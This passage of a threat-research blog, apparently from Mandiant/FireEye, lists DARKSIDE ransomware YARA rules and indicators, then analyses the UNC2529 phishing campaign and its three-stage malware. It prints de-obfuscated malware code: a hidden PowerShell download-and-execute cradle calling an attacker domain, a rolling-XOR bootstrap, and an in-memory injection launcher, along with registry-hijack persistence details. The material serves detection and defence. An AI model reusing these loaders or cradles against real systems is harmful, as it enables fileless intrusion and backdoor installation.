        $KeyString2 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 56 43 39 30 2E 4D 46 43 22 20 76 65 72 73 69 6F 6E 3D 22 39 2E 30 2E 32 31 30 32 32 2E 38 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 31 66 63 38 62 33 62 39 61 31 65 31 38 65 33 62 22 }
        $Slashes = { 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C }
    condition:
        filesize < 2MB and filesize > 500KB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (all of ($CommonDLLs*)) and (all of ($KeyString*)) and $Slashes
}

Figure 21: DARKSIDE Dropper YARA rule

rule Backdoor_Win_C3_1
{
    meta:
        author = “FireEye”
        date_created = "2021-05-11"
        description = "Detection to identify the Custom Command and Control (C3) binaries."
        md5 = "7cdac4b82a7573ae825e5edb48f80be5"
    strings:
        $dropboxAPI = "Dropbox-API-Arg"
        $knownDLLs1 = "WINHTTP.dll" fullword
        $knownDLLs2 = "SHLWAPI.dll" fullword
        $knownDLLs3 = "NETAPI32.dll" fullword
        $knownDLLs4 = "ODBC32.dll" fullword
        $tokenString1 = { 5B 78 5D 20 65 72 72 6F 72 20 73 65 74 74 69 6E 67 20 74 6F 6B 65 6E }
        $tokenString2 = { 5B 78 5D 20 65 72 72 6F 72 20 63 72 65 61 74 69 6E 67 20 54 6F 6B 65 6E }
        $tokenString3 = { 5B 78 5D 20 65 72 72 6F 72 20 64 75 70 6C 69 63 61 74 69 6E 67 20 74 6F 6B 65 6E }
    condition:
        filesize < 5MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (((all of ($knownDLLs*)) and ($dropboxAPI or (1 of ($tokenString*)))) or (all of ($tokenString*)))

Figure 22: Custom Command and Control (C3) YARA rule

Detecting DARKSIDE

FireEye products detect this activity at multiple stages of the attack lifecycle. The following table contains specific detections intended to identify and prevent malware and methods seen at these intrusions. For brevity, this list does not include FireEye’s existing detections for BEACON, BloodHound/SharpHound, and other common tools and malware that FireEye has observed both in this campaign and across a broad range of intrusion operations

Platform(s)

Detection Name

Network Security
Email Security
Detection On Demand
Malware Analysis
File Protect

  • Ransomware.SSL.DarkSide
  • Trojan.Generic
  • Ransomware.Linux.DARKSIDE
  • Ransomware.Win.Generic.MVX
  • Ransomware.Win.DARKSIDE.MVX
  • Ransomware.Linux.DARKSIDE.MVX
  • Ransomware.Win32.DarkSide.FEC3
  • FE_Ransomware_Win_DARKSIDE_1
  • FE_Ransomware_Win32_DARKSIDE_1
  • FE_Ransomware_Linux64_DARKSIDE_1
  • FE_Ransomware_Linux_DARKSIDE_1
  • FEC_Trojan_Win32_Generic_62
  • FE_Loader_Win32_Generic_177
  • FE_Loader_Win32_Generic_197
  • FE_Backdoor_Win_C3_1
  • FE_Backdoor_Win32_C3_1
  • FE_Backdoor_Win32_C3_2
  • FE_Backdoor_Win_C3_2
  • Backdoor.Win.C3
  • FE_Dropper_Win_Darkside_1

Endpoint Security

Real-Time (IOC)

  • BABYMETAL (BACKDOOR)
  • DARKSIDE RANSOMWARE (FAMILY)
  • SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
  • SUSPICIOUS POWERSHELL USAGE B (METHODOLOGY)

Malware Protection(AV/MG)

  • Generic.mg.*
  • Gen:Heur.FKP.17
  • Gen:Heur.Ransom.RTH.1
  • Gen:[email protected]
  • Gen:Variant.Razy.*
  • Trojan.CobaltStrike.CB
  • Trojan.GenericKD.*
  • Trojan.Linux.Ransom.H

UAC Protect

  • Malicious UAC bypass program detected

Helix

  • VPN ANALYTICS [Abnormal Logon]
  • WINDOWS ANALYTICS [Abnormal RDP Logon]
  • TEAMVIEWER CLIENT [User-Agent]
  • WINDOWS METHODOLOGY [Plink Reverse Tunnel]
  • WINDOWS METHODOLOGY - SERVICES [PsExec]

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

VID

Title

A101-700 

Malicious File Transfer - DARKSIDE, Download, Variant #2 

A101-701 

Malicious File Transfer - DARKSIDE, Download, Variant #3 

A101-702 

Malicious File Transfer - DARKSIDE, Download, Variant #4 

A101-703 

Malicious File Transfer - DARKSIDE, Download, Variant #5 

A101-704 

Malicious File Transfer - DARKSIDE, Download, Variant #6 

A101-705 

Malicious File Transfer - DARKSIDE, Download, Variant #7 

A101-706 

Malicious File Transfer - DARKSIDE, Download, Variant #8 

A101-707 

Malicious File Transfer - DARKSIDE, Download, Variant #9 

A101-708 

Malicious File Transfer - DARKSIDE, Download, Variant #10 

A101-709 

Malicious File Transfer - DARKSIDE, Download, Variant #11 

A101-710 

Malicious File Transfer - DARKSIDE, Download, Variant #12 

A101-711 

Malicious File Transfer - DARKSIDE, Download, Variant #13 

A101-712 

Malicious File Transfer - DARKSIDE, Download, Variant #14 

A101-713 

Malicious File Transfer - DARKSIDE, Download, Variant #15 

A101-714 

Malicious File Transfer - DARKSIDE, Download, Variant #16 

A101-715 

Malicious File Transfer - DARKSIDE, Download, Variant #17 

A101-716 

Malicious File Transfer - DARKSIDE, Download, Variant #18 

A101-717 

Malicious File Transfer - DARKSIDE, Download, Variant #19 

A101-718 

Malicious File Transfer - DARKSIDE, Download, Variant #20 

A101-719 

Malicious File Transfer - DARKSIDE, Download, Variant #21 

A101-720 

Malicious File Transfer - DARKSIDE, Download, Variant #22 

A101-721 

Malicious File Transfer - DARKSIDE, Download, Variant #23 

A101-722 

Malicious File Transfer - DARKSIDE, Download, Variant #24 

A101-723 

Malicious File Transfer - DARKSIDE, Download, Variant #25 

A101-724 

Malicious File Transfer - DARKSIDE, Download, Variant #26 

A101-725 

Malicious File Transfer - DARKSIDE, Download, Variant #27 

A101-726 

Malicious File Transfer - DARKSIDE, Download, Variant #28 

A101-727 

Malicious File Transfer - DARKSIDE, Download, Variant #29 

A101-728 

Malicious File Transfer - DARKSIDE, Download, Variant #30 

A101-729 

Malicious File Transfer - DARKSIDE, Download, Variant #31 

A101-730 

Malicious File Transfer - DARKSIDE, Download, Variant #32 

A101-731 

Malicious File Transfer - DARKSIDE, Download, Variant #33 

A101-732 

Malicious File Transfer - DARKSIDE, Download, Variant #34 

A101-733 

Malicious File Transfer - DARKSIDE, Download, Variant #35 

A101-734 

Malicious File Transfer - DARKSIDE, Download, Variant #36 

A101-735 

Malicious File Transfer - NGROK, Download, Variant #1 

A101-736 

Malicious File Transfer - UNC2465, LNK Downloader for SMOKEDHAM, Download 

A101-737 

Malicious File Transfer - BEACON, Download, Variant #3 

A101-738 

Data Exfiltration - RCLONE, Exfil Over SFTP 

A101-739 

Malicious File Transfer - RCLONE, Download, Variant #2 

A101-740 

Command and Control - DARKSIDE, DNS Query, Variant #1 

A101-741 

Command and Control - DARKSIDE, DNS Query, Variant #2 

A101-742 

Application Vulnerability - SonicWall, CVE-2021-20016, SQL Injection 

A104-771 

Protected Theater - DARKSIDE, PsExec Execution 

A104-772 

Host CLI - DARKSIDE, Windows Share Creation 

A104-773 

Protected Theater - DARKSIDE, Delete Volume Shadow Copy 

Related Indicators

UNC2628

Indicator

Description

104.193.252[.]197:443

BEACON C2

162.244.81[.]253:443

BEACON C2

185.180.197[.]86:443

BEACON C2

athaliaoriginals[.]com

BEACON C2

lagrom[.]com

BEACON C2

ctxinit.azureedge[.]net

BEACON C2

45.77.64[.]111

Login Source

181ab725468cc1a8f28883a95034e17d

BEACON Sample

UNC2659

Indicator

Description

173.234.155[.]208

Login Source

UNC2465

Indicator

Description

81.91.177[.]54 :7234

Remote Access

koliz[.]xyz

File Hosting

los-web[.]xyz

EMPIRE C2

sol-doc[.]xyz

Malicious Infrastructure

hxxp://sol-doc[.]xyz/sol/ID-482875588

Downloader URL

6c9cda97d945ffb1b63fd6aabcb6e1a8

Downloader LNK

7c8553c74c135d6e91736291c8558ea8

VBS Launcher

27dc9d3bcffc80ff8f1776f39db5f0a4

Ngrok Utility

DARKSIDE Ransomware Encryptor

DARKSIDE Sample MD5

04fde4340cc79cd9e61340d4c1e8ddfb

0e178c4808213ce50c2540468ce409d3

0ed51a595631e9b4d60896ab5573332f

130220f4457b9795094a21482d5f104b

1a700f845849e573ab3148daef1a3b0b

1c33dc87c6fdb80725d732a5323341f9

222792d2e75782516d653d5cccfcf33b

29bcd459f5ddeeefad26fc098304e786

3fd9b0117a0e79191859630148dcdc6d

47a4420ad26f60bb6bba5645326fa963

4d419dc50e3e4824c096f298e0fa885a

5ff75d33080bb97a8e6b54875c221777

66ddb290df3d510a6001365c3a694de2

68ada5f6aa8e3c3969061e905ceb204c

69ec3d1368adbe75f3766fc88bc64afc

6a7fdab1c7f6c5a5482749be5c4bf1a4

84c1567969b86089cc33dccf41562bcd

885fc8fb590b899c1db7b42fe83dddc3

91e2807955c5004f13006ff795cb803c

9d418ecc0f3bf45029263b0944236884

9e779da82d86bcd4cc43ab29f929f73f

a3d964aaf642d626474f02ba3ae4f49b

b0fd45162c2219e14bdccab76f33946e

b278d7ec3681df16a541cf9e34d3b70a

b9d04060842f71d1a8f3444316dc1843

c2764be55336f83a59aa0f63a0b36732

c4f1a1b73e4af0fbb63af8ee89a5a7fe

c81dae5c67fb72a2c2f24b178aea50b7

c830512579b0e08f40bc1791fc10c582

cfcfb68901ffe513e9f0d76b17d02f96

d6634959e4f9b42dfc02b270324fa6d9

e44450150e8683a0addd5c686cd4d202

f75ba194742c978239da2892061ba1b4

f87a2e1c3d148a67eaeb696b1ab69133

f913d43ba0a9f921b1376b26cd30fa34

f9fc1a1a95d5723c140c2a8effc93722

☑ ☆ ✇ Threat Research

The UNC2529 Triple Double: A Trifecta Phishing Campaign

By: Nick Richard

In December 2020, Mandiant observed a widespread, global phishing campaign targeting numerous organizations across an array of industries. Mandiant tracks this threat actor as UNC2529. Based on the considerable infrastructure employed, tailored phishing lures and the professionally coded sophistication of the malware, this threat actor appears experienced and well resourced. This blog post will discuss the phishing campaign, identification of three new malware families, DOUBLEDRAG, DOUBLEDROP and DOUBLEBACK, provide a deep dive into their functionality, present an overview of the actor’s modus operandi and our conclusions. A future blog post will focus on the backdoor communications and the differences between DOUBLEBACK samples to highlight the malware evolution.

UNC2529 Phishing Overview

Mandiant observed the first wave of the phishing campaign occur on Dec. 2, 2020, and a second wave between Dec. 11 and Dec. 18, 2020.

During the initial flurry, Mandiant observed evidence that 28 organizations were sent phishing emails, though targeting was likely broader than directly observed. These emails were sent using 26 unique email addresses associated with the domain tigertigerbeads<.>com, and in only a small number of cases did we see the same address used across multiple recipient organizations. These phishing emails contained inline links to malicious URLs such as, hxxp://totallyhealth-wealth[.]com/downld-id_mw<redacted>Gdczs, engineered to entice the victim to download a file. UNC2529 employed at least 24 different domains to support this first, of a three-stage process.

The structure of URLs embedded in these phishing emails had the following patterns, where the string was an alphabetic variable of unknown function.

http://<fqdn>/downld-id_<string>
http://<fqdn>/downld-id-<string>
http://<fqdn>/files-upload_<string>
http://<fqdn>/files-upload-<string>
http://<fqdn>/get_file-id_<string>
http://<fqdn>/get_file-id-<string>
http://<fqdn>/zip_download_<string>
http://<fqdn>/zip_download-<string>

The first stage payload downloaded from these URLs consisted of a Zip compressed file containing a corrupt decoy PDF document and a heavily obfuscated JavaScript downloader. Mandiant tracks the downloader as DOUBLEDRAG. Interestingly, the PDF documents were obtained from public websites, but corrupted by removing bytes to render them unreadable with a standard PDF viewer. It is speculated that the victim would then attempt to launch the JavaScript (.js) file, which can be executed natively with Windows Script Host by simply double clicking on the file. All but one of the file name patterns for the ZIP, PDF and JS files were document_<state>_client-id_<4 digit number>.extension, such as “document_Ohio_client-id_8902.zip”.

Each of the observed DOUBLEDRAG downloaders used in the first wave attempted to download a second-stage memory-only dropper, which Mandiant tracks as DOUBLEDROP, from either hxxp://p-leh[.]com/update_java.dat or hxxp://clanvisits[.]com/mini.dat. The downloaded file is a heavily obfuscated PowerShell script that will launch a backdoor into memory. Mandiant tracks this third-stage backdoor as DOUBLEBACK. DOUBLEBACK samples observed during the phishing campaign beaconed to hxxps://klikbets[.]net/admin/client.php and hxxps://lasartoria[.]net/admin/client.php.

Prior to the second wave, observed between Dec. 11 and Dec. 18, 2020, UNC2529 hijacked a legitimate domain owned by a U.S. heating and cooling services company, modified DNS entries and leveraged that infrastructure to phish at least 22 organizations, five of which were also targeted in the first wave. It is not currently known how the legitimate domain was compromised. The threat actor used 20 newly observed domains to host the second-stage payload. 

The threat actor made slight modifications to the URL pattern during the second wave.

http://<fqdn>/<string>
http://<fqdn>/dowld_<string>
http://<fqdn>/download_<string>
http://<fqdn>/files_<string>
http://<fqdn>/id_<string>
http://<fqdn>/upld_<string>

Of note, the DOUBLEDRAG downloader observed in the first wave was replaced with a Microsoft Excel document containing an embedded legacy Excel 4.0 (XLM) macro in Excel 97-Excel 2003 Binary file format (BIFF8). When the file was opened and the macro executed successfully, it would attempt to download a second-stage payload from hxxps://towncentrehotels[.]com/ps1.dat. The core functionality of the DOUBLEDRAG JavaScript file and the BIFF8 macro is to download a file from a hardcoded URL. This Excel file was also found within Zip files, as seen in the first wave, although only one of the observed Zip files included a corresponding corrupt decoy PDF document. 

Additional DOUBLEBACK samples were extracted from DOUBLEDROP samples uploaded to a public malware repository, which revealed additional command and control servers (C2), hxxps://barrel1999[.]com/admin4/client.php, hxxps://widestaticsinfo[.]com/admin4/client.php, hxxps://secureinternet20[.]com/admin5/client.php, and hxxps://adsinfocoast[.]com/admin5/client.php. Three of these domains were registered after the observed second wave.

Tailored Targeting

UNC2529 displayed indications of target research based on their selection of sender email addresses and subject lines which were tailored to their intended victims. For example, UNC2529 used a unique username, masquerading as an account executive for a small California-based electronics manufacturing company, which Mandiant identified through a simple Internet search. The username of the email address was associated with both sender domains, tigertigerbeads<.>com and the compromised HVAC company. Masquerading as the account executive, seven phishing emails were observed targeting the medical industry, high-tech electronics, automotive and military equipment manufacturers, and a cleared defense contractor with subject lines very specific to the products of the California-based electronics manufacturing company.

Another example is a freight / transport company that received a phish with subject, “compton ca to flowery branch ga”, while a firm that recruits and places long-haul truck drivers received a simple, “driver” in the subject line.

A utility company received a phish with subject, “easement to bore to our stairwell area.”

While not all financial institutions saw seemingly tailored subjects, numerous appeared fairly unique, as shown in Table 1.

Subject Lure

Wave

re: <redacted> outdoors environment (1 out of 3)

1st

accepted: follow up with butch & karen

1st

re: appraisal for <redacted> - smysor rd

2nd

re: <redacted> financing

2nd

Table 1: Sample financial industry subject lures

Several insurance companies that were targeted saw less specific subjects, but still appropriate for the industry, such as those in Table 2.

Subject Lure

Wave

fw: certificate of insurance

1st

fw: insurance for plow

1st

please get this information

1st

question & number request

1st

claim status

2nd

applications for medicare supplement & part d

2nd

Table 2: Sample insurance industry subject lures

Interestingly, one insurance company with offices in eastern Texas received a phish with a subject related to a local water authority and an ongoing water project. While no public information was found to tie the company to the other organization or project, the subject appeared to be very customized.

Some patterns were observed, as seen in Table 3. Additionally, UNC2529 targeted the same IT services organization in both waves using the same lure (1 and 5 in Table 3). Most of the phishing emails with lures containing “worker” targeted U.S. organizations. As “worker” isn’t a common way to refer to an employee in the U.S., this may indicate a non-native American English speaker.

Subject Lure

Wave

dear worker, your work # ujcb0utczl

1st

good day worker, your job number- 8ldbsq6ikd

1st

hello worker, your work number- u39hbutlsf

1st

good day candidate, your vacancy # xcmxydis4s

2nd

dear worker, your work # ujcb0utczl

2nd

Table 3: Sample pattern subject lures

Industry and Regional Targeting

UNC2529’s phishing campaign was both global and impacted an array of industries (Industry and Regional Targeting graphics are greater than 100% due to rounding). While acknowledging some telemetry bias, in both waves the U.S. was the primary target, while targeting of EMEA and Asia and Australia were evenly dispersed in the first wave, as shown in Figure 1.


Figure 1: UNC2529 phishing campaign, first wave

In the second wave, EMEA’s percentage increased the most, while the U.S. dropped slightly, and Asia and Australia remained at close to the same level, as illustrated in Figure 2. 


Figure 2: UNC2529 phishing campaign, second wave

Although Mandiant has no evidence about the objectives of this threat actor, their broad targeting across industries and geographies is consistent with a targeting calculus most commonly seen among financially motivated groups.

Technical Analysis

Overview

The Triple DOUBLE malware ecosystem consists of a downloader (DOUBLEDRAG) (or alternatively an Excel document with an embedded macro), a dropper (DOUBLEDROP), and a backdoor (DOUBLEBACK). As described in the previous section, the initial infection vector starts with phishing emails that contain a link to download a malicious payload that contains an obfuscated JavaScript downloader. Once executed, DOUBLEDRAG reaches out to its C2 server and downloads a memory-only dropper. The dropper, DOUBLEDROP, is implemented as a PowerShell script that contains both 32-bit and 64-bit instances of the backdoor DOUBLEBACK. The dropper performs the initial setup that establishes the backdoor’s persistence on the compromised system and proceeds by injecting the backdoor into its own process (PowerShell.exe) and then executing it. The backdoor, once it has the execution control, loads its plugins and then enters a communication loop, fetching commands from its C2 server and dispatching them. One interesting fact about the whole ecosystem is that only the downloader exists in the file system. The rest of the components are serialized in the registry database, which makes their detection somewhat harder, especially by file-based antivirus engines.

Ecosystem in Details

DOUBLEDRAG Downloader component

The downloader is implemented as a heavily obfuscated JavaScript code. Despite the relatively large amount of the code, it boils down to the following snippet of code (Figure 3), after de-obfuscation.

"C:\Windows\System32\cmd.exe" /c oqaVepEgTmHfPyC & Po^wEr^sh^elL -nop -w hidden -ep bypass -enc <base64_encoded_ps_code>

Figure 3: De-obfuscated JavaScript downloader

The <base64_encoded_ps_code> downloads and executes a PowerShell script that implements the DOUBLEDROP dropper. Note, that the downloaded dropper does not touch the file system and it is executed directly from memory. A sanitized version of the code, observed in the first phishing wave, is shown in Figure 4.

IEX (New-Object Net.Webclient).downloadstring("hxxp://p-leh[.]com/update_java.dat")

Figure 4: Downloading and executing of the DOUBLEDROP dropper

DOUBLEDROP Dropper component

Overview

The dropper component is implemented as an obfuscated in-memory dropper written in PowerShell. Two payloads are embedded in the script—the same instances of the DOUBLEBACK backdoor compiled for 32 and 64-bit architectures. The dropper saves the encrypted payload along with the information related to its decryption and execution in the compromised system’s registry database, effectively achieving a file-less malware execution.

Setup

The dropper's main goal is to serialize the chosen payload along with the loading scripts into the compromised system's registry database and to ensure that the payload will be loaded following a reboot or a user login (see the Persistence Mechanism section). In order to do so, the dropper generates three pseudo-random GUIDs and creates the registry keys and values shown in Figure 5.

* HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_0>}
       * key: LocalServer
              * value: <default>
                      * data: <bootstrap_ps_code>
       * key: ProgID
              * value: <default>
                      * data: <rnd_guid_1>
              * value: <last_4_chars_of_rnd_guid_0>
                      * data: <encoded_loader>
       * key: VersionIndependentProgID
              * value: <default>
                      * data: <rnd_guid_1>
              * value: <first_4_chars_of_rnd_guid_0>
                      * data: <encoded_rc4_key>
              * value: <last_4_chars_of_rnd_guid_0>
                      * data: <rc4_encrypted_payload>

* HK[CU|LM]\Software\Classes\{<rnd_guid_1>}
       * value: <default>
              * data: <rnd_guid_1>
       * key: CLSID
              * value: <default>
                      * data: <rnd_guid_0>

* HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_2>}
       * value: <default>
              * data: <rnd_guid_1>
       * key: TreatAs
              * value: <default>
                      * data: <rnd_guid_0>

Figure 5: Registry keys and values created by the dropper

Once the registry keys and values are created, the dropper dynamically generates the bootstrap and the launcher PowerShell scripts and saves them under the {<rnd_guid_0>} registry key as shown in Figure 5. Additionally, at this point the dropper generates a random RC4 key and encodes it inside a larger buffer which is then saved under the VersionIndependentProgID key. The actual RC4 key within the buffer is given by the following calculations, shown in Figure 6 (note that the key is reversed!).

<relative_offset> = buffer[32]
buffer[32 + <relative_offset> + 1] = <reversed_rc4_key>

Figure 6: Encoding of the RC4 key

Finally, the dropper encrypts the payload using the generated RC4 key and saves it in the respective value under the VersionIndependentProgId registry key (see Figure 5).

At this point all the necessary steps that ensure the payload's persistence on the system are complete and the dropper proceeds by directly executing the launcher script, so the backdoor receives the execution control immediately. The persistence mechanism, the bootstrap, and the launcher are described in more details in the following sections.

Persistence Mechanism

The persistence mechanism implemented by the DOUBLEDROP sample is slightly different depending on whether the dropper has been started within an elevated PowerShell process or not.

If the dropper was executed within an elevated PowerShell process, it creates a scheduled task with an action specified as TASK_ACTION_COM_HANDLER and the class ID - the {<rnd_guid_2>} GUID (See Figure 5). Once executed by the system, the task finds the {<rnd_guid_2>} class under the HKLM\Software\Classes\CLSID registry path, which in this case points to an emulator class via the TreatAs registry key. The {<rnd_guid_0>} emulator class ID defines a registry key LocalServer and its default value will be executed by the task.

If the dropper is started within a non-elevated PowerShell process, the sequence is generally the same but instead of a task, the malware hijacks one of the well-known classes, Microsoft PlaySoundService ({2DEA658F-54C1- 4227-AF9B-260AB5FC3543}) or MsCtfMonitor ({01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}), by creating an associated TreatAs registry key under their definition in the registry database. The TreatAs key's default registry value points to the {<rnd_guid_0>} emulator class essentially achieving the same execution sequence as in the elevated privilege case.

Bootstrap

The bootstrap is implemented as an obfuscated PowerShell script, generated dynamically by the dropper. The content of the code is saved under the emulator's class LocalServer registry key and it is either executed by a dedicated task in case of a privileged PowerShell process or by the operating system that attempts to load the emulator for the PlaySoundService or MsCtfMonitor classes. 

The bootstrap code finds the location of the launcher script, decodes it and then executes it within the same PowerShell process. A decoded and sanitized version of the script is shown in Figure 7.

$enc = [System.Text.Encoding]::UTF8;
$loader = Get-ItemProperty
    -Path($enc.GetString([Convert]::FromBase64String('<base64_encoded_path_to_launcher>')))
    -n '<launcher_reg_val>' | Select-Object -ExpandProperty '<launcher_reg_val>';
$xor_val = <xor_val>;
iex(
    $enc.GetString($(
        for ($i = 0; $i -lt $loader.Length; $i++) {
            if ($xor_val -ge 250) {
                $xor_val = 0
            }
            $loader[$i] -bxor $xor_val;
            $xor_val += 4
        }
    ))
)

Figure 7: De-obfuscated and sanitized bootstrap code

Note that the actual values for <base64_encoded_path_to_launcher>, <launcher_reg_val>, and <xor_val> are generated on the fly by the dropper and will be different across the compromised systems.

The encoding of the launcher is implemented as a simple rolling XOR that is incremented after each iteration. The following code snippet (Figure 8) could be used to either encode or decode the launcher, given the initial key.

def encdec(src, key):
    out = bytearray()
    for b in src:
        if key >= 250:
            key = 0
        out.append(b ^ key)
        key += 4
    return out

Figure 8: Algorithm to Decode the Launcher

Once the launcher is decoded it is executed within the same PowerShell process as the bootstrap by calling the iex (Invoke-Expression) command.

Launcher

The launcher responsibility, after being executed by the bootstrap code, is to decrypt and execute the payload saved under the VersionIndependentProgID registry key. To do so, the launcher first decodes the RC4 key provided in the <first_4_chars_of_rnd_guid_0> value (see Figure 5) and then uses it to decrypt the payload. Once the payload is decrypted, the launcher allocates virtual memory enough to house the image in memory, copies it there, and finally creates a thread around the entry point specified in the dropper. The function at that entry point is expected to lay the image in memory, to relocate the image, if necessary, to resolve the imports and finally—to execute the payload's entry point.

A sanitized and somewhat de-obfuscated version of the launcher is shown in Figure 9.

function DecryptPayload {
    param($fn7, $xf7, $mb5)
    $fn1 = Get-ItemProperty -Path $fn7 -n $mb5 | Select-Object -ExpandProperty $mb5;
    $en8 = ($fn1[32] + (19 + (((5 - 2) + 0) + 11)));
    $ow7 = $fn1[$en8..($en8 + 31)];
    [array]::Reverse($ow7);
    $fn1 = Get-ItemProperty -Path $fn7 -n $xf7 | Select-Object -ExpandProperty $xf7;
    $en8 = {
        $xk2 = 0..255;
        0..255 | % {
            $wn4 = ($wn4 + $xk2[$_] + $ow7[$_ % $ow7.Length]) % (275 - (3 + (11 + 5)));
            $xk2[$_], $xk2[$wn4] = $xk2[$wn4], $xk2[$_]
        };
        $fn1 | % {
            $sp3 = ($sp3 + 1) % (275 - 19);
            $si9 = ($si9 + $xk2[$sp3]) % ((600 - 280) - 64);
            $xk2[$sp3], $xk2[$si9] = $xk2[$si9], $xk2[$sp3];
            $_-bxor$xk2[($xk2[$sp3] + $xk2[$si9]) % (343 - ((1 + 0) + 86))]
        }
    };
    $ry6 = (& $en8 | foreach-object { '{0:X2}' -f $_ }) -join '';
    ($(for ($sp3 = 0; $sp3 -lt $ry6.Length; $sp3 += 2) {
                [convert]::ToByte($ry6.Substring($sp3, 2), (17 - ((1 + 0))))
            }
        )
    )
}

function ExecuteApi {
    param($fn7, $xf7)
    $vy9 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('?RND?')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('?RND?', $false).DefineType('?RND?', 'Class,Public,Sealed,AnsiClass,AutoClass', [System.MulticastDelegate]);
    $vy9.DefineConstructor('RTSpecialName,HideBySig,Public', [System.Reflection.CallingConventions]::Standard, $fn7).SetImplementationFlags('Runtime,Managed');
    $vy9.DefineMethod('Invoke', 'Public,HideBySig,NewSlot,Virtual', $xf7, $fn7).SetImplementationFlags('Runtime,Managed');
    $vy9.CreateType()
}

function GetProcAddress {
    param($fn7)
    $fq3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
        $_.GlobalAssemblyCache -and $_.Location.Split('\\')[-1].Equals('System.dll')
    }).GetType('Microsoft.Win32.UnsafeNativeMethods');
    $lr3 = New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($fq3.GetMethod('GetModuleHandle').Invoke(0, @('kernel32.dll'))));
    $fq3.GetMethod('GetProcAddress', [reflection.bindingflags] 'Public,Static', $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null).Invoke($null, @([System.Runtime.InteropServices.HandleRef]$lr3, $fn7))
}

$decryptedPayload = DecryptPayload 'hklm:\software\classes\CLSID\<rnd_guid_0>\VersionIndependentProgID' '<reg_val_payload>' '<reg_val_rc4_key>';

function InjectPayload {
    param($payload, $payloadLen, $entryPoint, $access)
    $mem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'VirtualAllocEx'), (ExecuteApi @([IntPtr], [IntPtr], [IntPtr], [int], [int])([Intptr]))).invoke(-1, 0, $payloadLen, 0x3000, $access);

    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'RtlMoveMemory'), (ExecuteApi @([IntPtr], [byte[]], [UInt32])([Intptr]))).invoke($mem, $payload, $payloadLen);
    $mem = New-Object System.Intptr -ArgumentList $($mem.ToInt64() + $entryPoint);

    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'CreateThread'), (ExecuteApi @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([Intptr]))).invoke(0, 0, $mem, 0, 0, 0);
    Start-Sleep -s (((2673 - 942) + 1271))
}

# 0x36dc = Loader Entry Point, rva
# 0x40 = PAGE_EXECUTE_READWRITE
InjectPayload $decryptedPayload $decryptedPayload.length 0x36dc 0x40

Figure 9: De-obfuscated and sanitized launcher script

DOUBLEBACK Backdoor component

Overview

The observed DOUBLEDROP instances contain a well-designed backdoor implemented as a 32 or 64-bit PE dynamic library which we track as DOUBLEBACK. The backdoor is initially mapped into the same PowerShell process started by the bootstrap script, but it will then inject itself into a msiexec.exe process if certain conditions are met. By design, the core of the backdoor functionality is intended to be executed after injected into a newly spawned msiexec.exe process. 

In contrast with other backdoors DOUBLEBACK does not have its services hardcoded and the functionality is expected to be implemented as plugins that are expected to be serialized in the registry database under a host-specific registry path. That way, the backdoor can be configured to implement a flexible set of services depending on the target. With all the common functionality implemented as plugins, the backdoor’s main goal is to establish a communication framework ensuring data integrity between the C2 server and the appropriate plugins.

Details

The backdoor starts by retrieving its process name and ensures that it is either powershell.exe or msiexec.exe. In all other cases, the malware will immediately terminate itself. Normally, when first started on the system, the backdoor will be injected into the same PowerShell process that executes both the bootstrap code and the launcher. In that mode the malware may spawn (depending on certain conditions) a msiexec process and injects itself into it. More details about the logic implemented in the PowerShell and the msiexec branches are provided in the following sections. 

Next, the backdoor ensures that it is the only DOUBLEBACK instance currently executing on the compromised system. To do that, the malware generates a host-based pseudo-unique GUID and uses it as a mutex name. The algorithm first generates a pseudo-unique host identifier that is based on the system volume's serial number and a hardcoded salt value, as shown in Figure 10.

# oberserved salt = 0x436ea76d
def gen_host_id(vol_ser_num, salt):
    salted_val = (vol_ser_num + salt) & 0xffffffff
    md5 = hashlib.md5(bytes(salted_val.to_bytes(4, 'little')))
    second_dword = struct.unpack('<i', md5.digest()[4:8])[0]
    return (salted_val + second_dword) & 0xffffffff

Figure 10: Host ID generation algorithm

Next, the malware passes the generated host ID to another algorithm that generates a pseudo-unique GUID based on the input, as shown in Figure 11.

# src is the host ID
def gen_guid(src):
    b = bytearray()
    xor = 0xaabbccdd
    for _ in range(4):
        b += src.to_bytes(4, byteorder='little')
        src ^= xor
        xor = (xor + xor) & 0xffffffff
    return uuid.UUID(bytes_le=bytes(b))

Figure 11: GUID generation algorithm

Once the GUID is generated the malware formats it as Global\{<guid>} and attempts to open a mutex with that name. In case the mutex is already created the backdoor assumes that another instance of itself is already running and terminates itself. Otherwise, the backdoor creates the mutex and branches out depending on the detected process it currently mapped into.

Executing Within the PowerShell Process

